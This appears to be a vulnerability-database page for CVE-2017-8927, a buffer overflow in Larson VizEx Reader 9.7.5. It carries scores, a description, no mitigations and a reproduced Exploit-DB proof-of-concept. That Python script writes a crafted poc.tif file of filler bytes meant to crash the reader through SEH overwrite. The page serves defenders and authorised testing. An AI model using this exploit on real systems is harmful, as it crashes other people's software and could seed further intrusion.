CVE-2017-8927

high
Published 2017-05-15 ยท Modified 2026-05-13
CVSS v3
7.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.8

Description

Buffer overflow in Larson VizEx Reader 9.7.5 allows attackers to cause a denial of service or possibly have unspecified other impact via a crafted .tif file.

Predictions

Exploit likelihood
75%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42002 dos windows verified python ยท 1 KB
Muhann4d ยท 2017-05-14

Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)

python exploit Source: Exploit-DB
#!/usr/bin/python
# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date              : 14/05/2017
# Exploit Author    : Muhann4d
# CVE				: CVE-2017-8927
# Vendor Homepage   : http://www.cgmlarson.com/
# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()

Application impact

VendorProductVersionsFixed
cgmlarsonvizex_reader9.7.5

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.